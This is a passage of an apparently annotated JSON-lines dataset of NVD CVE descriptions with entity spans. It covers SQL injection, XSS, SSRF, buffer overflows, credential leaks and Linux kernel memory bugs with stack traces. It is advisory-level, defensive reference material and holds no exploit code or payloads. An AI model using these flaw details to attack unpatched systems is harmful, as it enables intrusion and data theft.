"IP_ADDRESS: 1.0.1.44": [[1172, 1180]], "IP_ADDRESS: 1.0.2.62": [[1197, 1205]], "IP_ADDRESS: 1.2.0.36": [[1245, 1253], [1268, 1276], [1293, 1301]], "IP_ADDRESS: 1.0.9.34": [[1339, 1347]], "IP_ADDRESS: 1.3.1.64": [[1363, 1371], [1387, 1395]], "IP_ADDRESS: 1.0.0.70": [[1438, 1446]], "IP_ADDRESS: 1.0.3.38": [[1463, 1471]], "IP_ADDRESS: 1.0.2.52": [[1486, 1494]], "IP_ADDRESS: 1.0.3.8": [[1509, 1516]], "IP_ADDRESS: 1.0.4.28": [[1531, 1539]], "IP_ADDRESS: 1.4.1.30": [[1555, 1563], [1579, 1587]], "IP_ADDRESS: 1.0.2.128": [[1602, 1611], [1626, 1635]], "IP_ADDRESS: 1.0.3.10": [[1650, 1658]], "IP_ADDRESS: 2.2.0.58": [[1674, 1682], [1698, 1706]], "IP_ADDRESS: 1.0.1.32": [[1727, 1735]], "IP_ADDRESS: 1.0.1.54": [[1755, 1763]], "IP_ADDRESS: 1.0.2.78": [[1783, 1791]], "IP_ADDRESS: 1.0.1.22": [[1839, 1847]], "IP_ADDRESS: 1.0.2.102": [[1867, 1876]], "IP_ADDRESS: 1.0.2.104": [[1896, 1905]], "IP_ADDRESS: 1.0.0.56": [[1925, 1933], [1953, 1961]], "IP_ADDRESS: 1.1.0.62": [[2013, 2021], [2038, 2046]], "IP_ADDRESS: 1.2.0.62": [[2066, 2074]], "IP_ADDRESS: 2.3.2.22": [[2093, 2101]], "VULNERABILITY: authentication bypass": [[40, 61]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38514"}}
{"text": "Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: View Reports). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Manager, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Manager accessible data as well as unauthorized read access to a subset of Oracle Applications Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Applications Manager. CVSS 3.1 Base Score 6.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [60, 66], [286, 292], [432, 438], [626, 632], [721, 727], [844, 850]], "VULNERABILITY: denial of service": [[809, 826]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35582"}}
{"text": "Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header `User-Agent` is vulnerable at the endpoint that records user information when logging in to the administrator screen. It is possible to execute arbitrary SQL statements. Someone who wants to exploit the vulnerability must be log in to the administrator screen, even with low privileges. Any SQL statement can be executed. Doing so may leak information from the database. Version 13.8.0 contains a fix for this issue. As another mitigation, those who want to execute a SQL statement verbatim with user-enterable parameters should be sure to escape the parameter contents appropriately.", "spans": {"VULNERABILITY: SQL Injection": [[82, 95]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37270"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V7.2.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V7.2.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V7.2.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V7.2.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V7.2.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V7.2.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V7.2.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V7.2.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V7.2.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V7.2.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V7.2.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V7.2.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V7.2.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V7.2.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V7.2.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V7.2.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V7.2.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V7.2.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V7.2.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V7.2.2), SCALANCE WAB762-1 (6GK5762-1AJ00-6AA0) (All versions < V3.0.0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0) (All versions < V3.0.0), SCALANCE WAM763-1 (ME) (6GK5763-1AL00-7DC0) (All versions < V3.0.0), SCALANCE WAM763-1 (US) (6GK5763-1AL00-7DB0) (All versions < V3.0.0), SCALANCE WAM766-1 (6GK5766-1GE00-7DA0) (All versions < V3.0.0), SCALANCE WAM766-1 (ME) (6GK5766-1GE00-7DC0) (All versions < V3.0.0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (6GK5766-1GE00-7TA0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (ME) (6GK5766-1GE00-7TC0) (All versions < V3.0.0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0) (All versions < V3.0.0), SCALANCE WUB762-1 (6GK5762-1AJ00-1AA0) (All versions < V3.0.0), SCALANCE WUB762-1 iFeatures (6GK5762-1AJ00-2AA0) (All versions < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0) (All versions < V3.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0) (All versions < V3.0.0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3AB0) (All versions < V3.0.0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3DB0) (All versions < V3.0.0), SCALANCE WUM766-1 (6GK5766-1GE00-3DA0) (All versions < V3.0.0), SCALANCE WUM766-1 (ME) (6GK5766-1GE00-3DC0) (All versions < V3.0.0), SCALANCE WUM766-1 (USA) (6GK5766-1GE00-3DB0) (All versions < V3.0.0). Affected products do not properly validate the content of uploaded X509 certificates which could allow an attacker with administrative privileges to execute arbitrary code on the device.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44317"}}
{"text": "Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `api/v1/chatflows/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.", "spans": {"FILEPATH: /v1/chatflows/id": [[183, 199]], "VULNERABILITY: cross-site scripting": [[130, 150]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36422"}}
{"text": "BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.5.0rc4 and 1.4.3rc2, a malformed WriteProperty request can trigger a length underflow in the BACnet stack, leading to an out‑of‑bounds read and a crash (DoS). The issue is in wp.c within wp_decode_service_request. When decoding the optional priority context tag, the code passes apdu_len - apdu_size to bacnet_unsigned_context_decode without validating that apdu_size <= apdu_len. If a truncated APDU reaches this path, apdu_len - apdu_size underflows, resulting in a large size being used for decoding and an out‑of‑bounds read. This vulnerability is fixed in 1.5.0rc4 and 1.4.3rc2.", "spans": {"FILEPATH: wp.c": [[270, 274]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26264"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Fix slab-use-after-free Read in rxe_queue_cleanup bug\n\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x7d/0xa0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xcf/0x610 mm/kasan/report.c:489\n kasan_report+0xb5/0xe0 mm/kasan/report.c:602\n rxe_queue_cleanup+0xd0/0xe0 drivers/infiniband/sw/rxe/rxe_queue.c:195\n rxe_cq_cleanup+0x3f/0x50 drivers/infiniband/sw/rxe/rxe_cq.c:132\n __rxe_cleanup+0x168/0x300 drivers/infiniband/sw/rxe/rxe_pool.c:232\n rxe_create_cq+0x22e/0x3a0 drivers/infiniband/sw/rxe/rxe_verbs.c:1109\n create_cq+0x658/0xb90 drivers/infiniband/core/uverbs_cmd.c:1052\n ib_uverbs_create_cq+0xc7/0x120 drivers/infiniband/core/uverbs_cmd.c:1095\n ib_uverbs_write+0x969/0xc90 drivers/infiniband/core/uverbs_main.c:679\n vfs_write fs/read_write.c:677 [inline]\n vfs_write+0x26a/0xcc0 fs/read_write.c:659\n ksys_write+0x1b8/0x200 fs/read_write.c:731\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nIn the function rxe_create_cq, when rxe_cq_from_init fails, the function\nrxe_cleanup will be called to handle the allocated resources. In fact,\nsome memory resources have already been freed in the function\nrxe_cq_from_init. Thus, this problem will occur.\n\nThe solution is to let rxe_cleanup do all the work.", "spans": {"FILEPATH: /kasan/report.c": [[273, 288], [329, 344], [375, 390]], "FILEPATH: /infiniband/sw/rxe/rxe_queue.c": [[431, 461]], "FILEPATH: /infiniband/sw/rxe/rxe_cq.c": [[499, 526]], "FILEPATH: /infiniband/sw/rxe/rxe_pool.c": [[565, 594]], "FILEPATH: /infiniband/sw/rxe/rxe_verbs.c": [[633, 663]], "FILEPATH: /infiniband/core/uverbs_cmd.c": [[699, 728], [773, 802]], "FILEPATH: /infiniband/core/uverbs_main.c": [[844, 874]], "FILEPATH: /x86/entry/common.c": [[1026, 1045], [1088, 1107]], "FILEPATH: dump_stack.c": [[172, 184], [227, 239]], "FILEPATH: read_write.c": [[893, 905], [945, 957], [989, 1001]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[88, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38024"}}
{"text": "A buffer overflow in the RTSP service of the Ambarella Oryx RTSP Server 2020-01-07 allows an unauthenticated attacker to send a crafted RTSP request, with a long digest authentication header, to execute arbitrary code in parse_authentication_header() in libamprotocol-rtsp.so.1 in rtsp_svc (or cause a crash). This allows remote takeover of a Furbo Dog Camera, for example. NOTE: The vendor states that the RTSP library is used for DEMO only, using it in product is a customer's behavior. Ambarella has emphasized that RTSP is DEMO only library, should NOT be used in product in our document. Because Ambarella's SDK is proprietary, we didn't publish our SDK source code in public network.", "spans": {"VULNERABILITY: buffer overflow": [[2, 17]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-24918"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Java SE, Java SE Embedded, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Java SE, Java SE Embedded. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.0 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [138, 142], [176, 180], [325, 329], [334, 338], [469, 473], [478, 482], [617, 621], [626, 630], [680, 684], [737, 741], [778, 782], [883, 887], [947, 951]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2803"}}
{"text": "A vulnerability was found in priyankark a11y-mcp up to 1.0.5. This vulnerability affects the function A11yServer of the file src/index.js. The manipulation results in server-side request forgery. The attack must be initiated from a local position. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. Upgrading to version 1.0.6 is able to resolve this issue. The patch is identified as e3e11c9e8482bd06b82fd9fced67be4856f0dffc. It is recommended to upgrade the affected component. The vendor acknowledged the issue but provides additional context for the CVSS rating: \"a11y-mcp is a local stdio MCP server - it has no HTTP endpoint and is not network-accessible. The caller is always the local user or an LLM acting on their behalf with user approval.\"", "spans": {"HASH: e3e11c9e8482bd06b82fd9fced67be4856f0dffc": [[549, 589]], "FILEPATH: index.js": [[129, 137]], "VULNERABILITY: server-side request forgery": [[167, 194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5323"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nafs: Fix lock recursion\n\nafs_wake_up_async_call() can incur lock recursion.  The problem is that it\nis called from AF_RXRPC whilst holding the ->notify_lock, but it tries to\ntake a ref on the afs_call struct in order to pass it to a work queue - but\nif the afs_call is already queued, we then have an extraneous ref that must\nbe put... calling afs_put_call() may call back down into AF_RXRPC through\nrxrpc_kernel_shutdown_call(), however, which might try taking the\n->notify_lock again.\n\nThis case isn't very common, however, so defer it to a workqueue.  The oops\nlooks something like:\n\n  BUG: spinlock recursion on CPU#0, krxrpcio/7001/1646\n   lock: 0xffff888141399b30, .magic: dead4ead, .owner: krxrpcio/7001/1646, .owner_cpu: 0\n  CPU: 0 UID: 0 PID: 1646 Comm: krxrpcio/7001 Not tainted 6.12.0-rc2-build3+ #4351\n  Hardware name: ASUS All Series/H97-PLUS, BIOS 2306 10/09/2014\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x47/0x70\n   do_raw_spin_lock+0x3c/0x90\n   rxrpc_kernel_shutdown_call+0x83/0xb0\n   afs_put_call+0xd7/0x180\n   rxrpc_notify_socket+0xa0/0x190\n   rxrpc_input_split_jumbo+0x198/0x1d0\n   rxrpc_input_data+0x14b/0x1e0\n   ? rxrpc_input_call_packet+0xc2/0x1f0\n   rxrpc_input_call_event+0xad/0x6b0\n   rxrpc_input_packet_on_conn+0x1e1/0x210\n   rxrpc_input_packet+0x3f2/0x4d0\n   rxrpc_io_thread+0x243/0x410\n   ? __pfx_rxrpc_io_thread+0x10/0x10\n   kthread+0xcf/0xe0\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork+0x24/0x40\n   ? __pfx_kthread+0x10/0x10\n   ret_from_fork_asm+0x1a/0x30\n   </TASK>", "spans": {"FILEPATH: /7001/1646": [[700, 710], [774, 784]], "FILEPATH: /09/2014": [[938, 946]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: ASUS": [[900, 904]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53090"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmisc/vmw_vmci: fix an infoleak in vmci_host_do_receive_datagram()\n\n`struct vmci_event_qp` allocated by qp_notify_peer() contains padding,\nwhich may carry uninitialized data to the userspace, as observed by\nKMSAN:\n\n  BUG: KMSAN: kernel-infoleak in instrument_copy_to_user ./include/linux/instrumented.h:121\n   instrument_copy_to_user ./include/linux/instrumented.h:121\n   _copy_to_user+0x5f/0xb0 lib/usercopy.c:33\n   copy_to_user ./include/linux/uaccess.h:169\n   vmci_host_do_receive_datagram drivers/misc/vmw_vmci/vmci_host.c:431\n   vmci_host_unlocked_ioctl+0x33d/0x43d0 drivers/misc/vmw_vmci/vmci_host.c:925\n   vfs_ioctl fs/ioctl.c:51\n  ...\n\n  Uninit was stored to memory at:\n   kmemdup+0x74/0xb0 mm/util.c:131\n   dg_dispatch_as_host drivers/misc/vmw_vmci/vmci_datagram.c:271\n   vmci_datagram_dispatch+0x4f8/0xfc0 drivers/misc/vmw_vmci/vmci_datagram.c:339\n   qp_notify_peer+0x19a/0x290 drivers/misc/vmw_vmci/vmci_queue_pair.c:1479\n   qp_broker_attach drivers/misc/vmw_vmci/vmci_queue_pair.c:1662\n   qp_broker_alloc+0x2977/0x2f30 drivers/misc/vmw_vmci/vmci_queue_pair.c:1750\n   vmci_qp_broker_alloc+0x96/0xd0 drivers/misc/vmw_vmci/vmci_queue_pair.c:1940\n   vmci_host_do_alloc_queuepair drivers/misc/vmw_vmci/vmci_host.c:488\n   vmci_host_unlocked_ioctl+0x24fd/0x43d0 drivers/misc/vmw_vmci/vmci_host.c:927\n  ...\n\n  Local variable ev created at:\n   qp_notify_peer+0x54/0x290 drivers/misc/vmw_vmci/vmci_queue_pair.c:1456\n   qp_broker_attach drivers/misc/vmw_vmci/vmci_queue_pair.c:1662\n   qp_broker_alloc+0x2977/0x2f30 drivers/misc/vmw_vmci/vmci_queue_pair.c:1750\n\n  Bytes 28-31 of 48 are uninitialized\n  Memory access of size 48 starts at ffff888035155e00\n  Data copied to user address 0000000020000100\n\nUse memset() to prevent the infoleaks.\n\nAlso speculatively fix qp_notify_peer_local(), which may suffer from the\nsame problem.", "spans": {"FILEPATH: /include/linux/instrumented.h": [[341, 370], [403, 432]], "FILEPATH: /include/linux/uaccess.h": [[499, 523]], "FILEPATH: /misc/vmw_vmci/vmci_host.c": [[568, 594], [647, 673], [1262, 1288], [1342, 1368]], "FILEPATH: /misc/vmw_vmci/vmci_datagram.c": [[811, 841], [891, 921]], "FILEPATH: /misc/vmw_vmci/vmci_queue_pair.c": [[963, 995], [1028, 1060], [1106, 1138], [1185, 1217], [1448, 1480], [1513, 1545], [1591, 1623]], "FILEPATH: usercopy.c": [[468, 478]], "FILEPATH: ioctl.c": [[694, 701]], "FILEPATH: util.c": [[770, 776]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49788"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.DenseCountSparseOutput`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/efff014f3b2d8ef6141da30c806faf141297eca1/tensorflow/core/kernels/count_ops.cc#L123-L127) computes a divisor value from user data but does not check that the result is 0 before doing the division. Since `data` is given by the `values` argument, `num_batch_elements` is 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/efff014f3b2d8ef6141da30c806faf141297eca1/tensorflow/core/kernels/count_ops.cc#L123-L127": [[212, 345]], "VULNERABILITY: denial of service": [[95, 112]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29554"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: account for Ethernet header in nf_flow_pppoe_proto()\n\nsyzbot found a potential access to uninit-value in nf_flow_pppoe_proto()\n\nBlamed commit forgot the Ethernet header.\n\nBUG: KMSAN: uninit-value in nf_flow_offload_inet_hook+0x7e4/0x940 net/netfilter/nf_flow_table_inet.c:27\n  nf_flow_offload_inet_hook+0x7e4/0x940 net/netfilter/nf_flow_table_inet.c:27\n  nf_hook_entry_hookfn include/linux/netfilter.h:157 [inline]\n  nf_hook_slow+0xe1/0x3d0 net/netfilter/core.c:623\n  nf_hook_ingress include/linux/netfilter_netdev.h:34 [inline]\n  nf_ingress net/core/dev.c:5742 [inline]\n  __netif_receive_skb_core+0x4aff/0x70c0 net/core/dev.c:5837\n  __netif_receive_skb_one_core net/core/dev.c:5975 [inline]\n  __netif_receive_skb+0xcc/0xac0 net/core/dev.c:6090\n  netif_receive_skb_internal net/core/dev.c:6176 [inline]\n  netif_receive_skb+0x57/0x630 net/core/dev.c:6235\n  tun_rx_batched+0x1df/0x980 drivers/net/tun.c:1485\n  tun_get_user+0x4ee0/0x6b40 drivers/net/tun.c:1938\n  tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1984\n  new_sync_write fs/read_write.c:593 [inline]\n  vfs_write+0xb4b/0x1580 fs/read_write.c:686\n  ksys_write fs/read_write.c:738 [inline]\n  __do_sys_write fs/read_write.c:749 [inline]", "spans": {"FILEPATH: /netfilter/nf_flow_table_inet.c": [[331, 362], [409, 440]], "FILEPATH: /linux/netfilter.h": [[474, 492]], "FILEPATH: /netfilter/core.c": [[535, 552]], "FILEPATH: /linux/netfilter_netdev.h": [[582, 607]], "FILEPATH: /core/dev.c": [[636, 647], [706, 717], [757, 768], [819, 830], [868, 879], [928, 939]], "FILEPATH: /net/tun.c": [[981, 991], [1033, 1043], [1089, 1099]], "FILEPATH: read_write.c": [[1125, 1137], [1179, 1191], [1212, 1224], [1258, 1270]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38441"}}
{"text": "All versions of HoRNDIS are affected by an integer overflow in the RNDIS packet parsing routines. A malicious USB device can trigger disclosure of unrelated kernel memory to userspace applications on the host, or can cause the kernel to crash. Kernel memory disclosure is especially likely on 32-bit kernels; 64-bit kernels are more likely to crash on attempted exploitation. It is not believed that kernel memory corruption is possible, or that unattended kernel memory disclosure without the collaboration of a userspace program running on the host is possible. The vulnerability is in `HoRNDIS::receivePacket`. `msg_len`, `data_ofs`, and `data_len` can be controlled by an attached USB device, and a negative value of `data_ofs` can bypass the check for `(data_ofs + data_len + 8) > msg_len`, and subsequently can cause a wild pointer copy in the `mbuf_copyback` call. The software is not maintained and no patches are planned. Users of multi-tenant systems with HoRNDIS installed should only connect trusted USB devices to their system.", "spans": {"VULNERABILITY: memory corruption": [[407, 424]], "VULNERABILITY: integer overflow": [[43, 59]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15137"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/chrome: cros_usbpd_notify: Fix error handling in cros_usbpd_notify_init()\n\nThe following WARNING message was given when rmmod cros_usbpd_notify:\n\n Unexpected driver unregister!\n WARNING: CPU: 0 PID: 253 at drivers/base/driver.c:270 driver_unregister+0x8a/0xb0\n Modules linked in: cros_usbpd_notify(-)\n CPU: 0 PID: 253 Comm: rmmod Not tainted 6.1.0-rc3 #24\n ...\n Call Trace:\n  <TASK>\n  cros_usbpd_notify_exit+0x11/0x1e [cros_usbpd_notify]\n  __x64_sys_delete_module+0x3c7/0x570\n  ? __ia32_sys_delete_module+0x570/0x570\n  ? lock_is_held_type+0xe3/0x140\n  ? syscall_enter_from_user_mode+0x17/0x50\n  ? rcu_read_lock_sched_held+0xa0/0xd0\n  ? syscall_enter_from_user_mode+0x1c/0x50\n  do_syscall_64+0x37/0x90\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n RIP: 0033:0x7f333fe9b1b7\n\nThe reason is that the cros_usbpd_notify_init() does not check the return\nvalue of platform_driver_register(), and the cros_usbpd_notify can\ninstall successfully even if platform_driver_register() failed.\n\nFix by checking the return value of platform_driver_register() and\nunregister cros_usbpd_notify_plat_driver when it failed.", "spans": {"FILEPATH: /base/driver.c": [[291, 305]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50468"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: fix segfault in nfc_genl_dump_devices_done\n\nWhen kmalloc in nfc_genl_dump_devices() fails then\nnfc_genl_dump_devices_done() segfaults as below\n\nKASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]\nCPU: 0 PID: 25 Comm: kworker/0:1 Not tainted 5.16.0-rc4-01180-g2a987e65025e-dirty #5\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-6.fc35 04/01/2014\nWorkqueue: events netlink_sock_destruct_work\nRIP: 0010:klist_iter_exit+0x26/0x80\nCall Trace:\n<TASK>\nclass_dev_iter_exit+0x15/0x20\nnfc_genl_dump_devices_done+0x3b/0x50\ngenl_lock_done+0x84/0xd0\nnetlink_sock_destruct+0x8f/0x270\n__sk_destruct+0x64/0x3b0\nsk_destruct+0xa8/0xd0\n__sk_free+0x2e8/0x3d0\nsk_free+0x51/0x90\nnetlink_sock_destruct_work+0x1c/0x20\nprocess_one_work+0x411/0x710\nworker_thread+0x6fd/0xa80", "spans": {"FILEPATH: /01/2014": [[450, 458]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[389, 393]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47612"}}
{"text": "Apereo CAS is an open source multilingual single sign-on solution for the web. Apereo CAS can be configured to use authentication based on client X509 certificates. These certificates can be provided via TLS handshake or a special HTTP header, such as “ssl_client_cert”. When checking the validity of the provided client certificate, X509CredentialsAuthenticationHandler performs check that this certificate is not revoked. To do so, it fetches URLs provided in the “CRL Distribution Points” extension of the certificate, which are taken from the certificate itself and therefore can be controlled by a malicious user. If the CAS server is configured to use an LDAP server for x509 authentication with a password, for example by setting a “cas.authn.x509.ldap.ldap-url” and “cas.authn.x509.ldap.bind-credential” properties, X509CredentialsAuthenticationHandler fetches revocation URLs from the certificate, which can be LDAP urls. When making requests to this LDAP urls, Apereo CAS uses the same password as for initially configured LDAP server, which can lead to a password leak. An unauthenticated user can leak the password used to LDAP connection configured on server. This issue has been addressed in version 6.6.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28857"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmISDN: hfcpci: Fix warning when deleting uninitialized timer\n\nWith CONFIG_DEBUG_OBJECTS_TIMERS unloading hfcpci module leads\nto the following splat:\n\n[  250.215892] ODEBUG: assert_init not available (active state 0) object: ffffffffc01a3dc0 object type: timer_list hint: 0x0\n[  250.217520] WARNING: CPU: 0 PID: 233 at lib/debugobjects.c:612 debug_print_object+0x1b6/0x2c0\n[  250.218775] Modules linked in: hfcpci(-) mISDN_core\n[  250.219537] CPU: 0 UID: 0 PID: 233 Comm: rmmod Not tainted 6.17.0-rc2-g6f713187ac98 #2 PREEMPT(voluntary)\n[  250.220940] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[  250.222377] RIP: 0010:debug_print_object+0x1b6/0x2c0\n[  250.223131] Code: fc ff df 48 89 fa 48 c1 ea 03 80 3c 02 00 75 4f 41 56 48 8b 14 dd a0 4e 01 9f 48 89 ee 48 c7 c7 20 46 01 9f e8 cb 84d\n[  250.225805] RSP: 0018:ffff888015ea7c08 EFLAGS: 00010286\n[  250.226608] RAX: 0000000000000000 RBX: 0000000000000005 RCX: ffffffff9be93a95\n[  250.227708] RDX: 1ffff1100d945138 RSI: 0000000000000008 RDI: ffff88806ca289c0\n[  250.228993] RBP: ffffffff9f014a00 R08: 0000000000000001 R09: ffffed1002bd4f39\n[  250.230043] R10: ffff888015ea79cf R11: 0000000000000001 R12: 0000000000000001\n[  250.231185] R13: ffffffff9eea0520 R14: 0000000000000000 R15: ffff888015ea7cc8\n[  250.232454] FS:  00007f3208f01540(0000) GS:ffff8880caf5a000(0000) knlGS:0000000000000000\n[  250.233851] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  250.234856] CR2: 00007f32090a7421 CR3: 0000000004d63000 CR4: 00000000000006f0\n[  250.236117] Call Trace:\n[  250.236599]  <TASK>\n[  250.236967]  ? trace_irq_enable.constprop.0+0xd4/0x130\n[  250.237920]  debug_object_assert_init+0x1f6/0x310\n[  250.238762]  ? __pfx_debug_object_assert_init+0x10/0x10\n[  250.239658]  ? __lock_acquire+0xdea/0x1c70\n[  250.240369]  __try_to_del_timer_sync+0x69/0x140\n[  250.241172]  ? __pfx___try_to_del_timer_sync+0x10/0x10\n[  250.242058]  ? __timer_delete_sync+0xc6/0x120\n[  250.242842]  ? lock_acquire+0x30/0x80\n[  250.243474]  ? __timer_delete_sync+0xc6/0x120\n[  250.244262]  __timer_delete_sync+0x98/0x120\n[  250.245015]  HFC_cleanup+0x10/0x20 [hfcpci]\n[  250.245704]  __do_sys_delete_module+0x348/0x510\n[  250.246461]  ? __pfx___do_sys_delete_module+0x10/0x10\n[  250.247338]  do_syscall_64+0xc1/0x360\n[  250.247924]  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFix this by initializing hfc_tl timer with DEFINE_TIMER macro.\nAlso, use mod_timer instead of manual timeout update.", "spans": {"FILEPATH: /01/2014": [[709, 717]], "FILEPATH: debugobjects.c": [[391, 405]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[635, 639]], "ORGANIZATION: Ubuntu": [[640, 646]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39833"}}
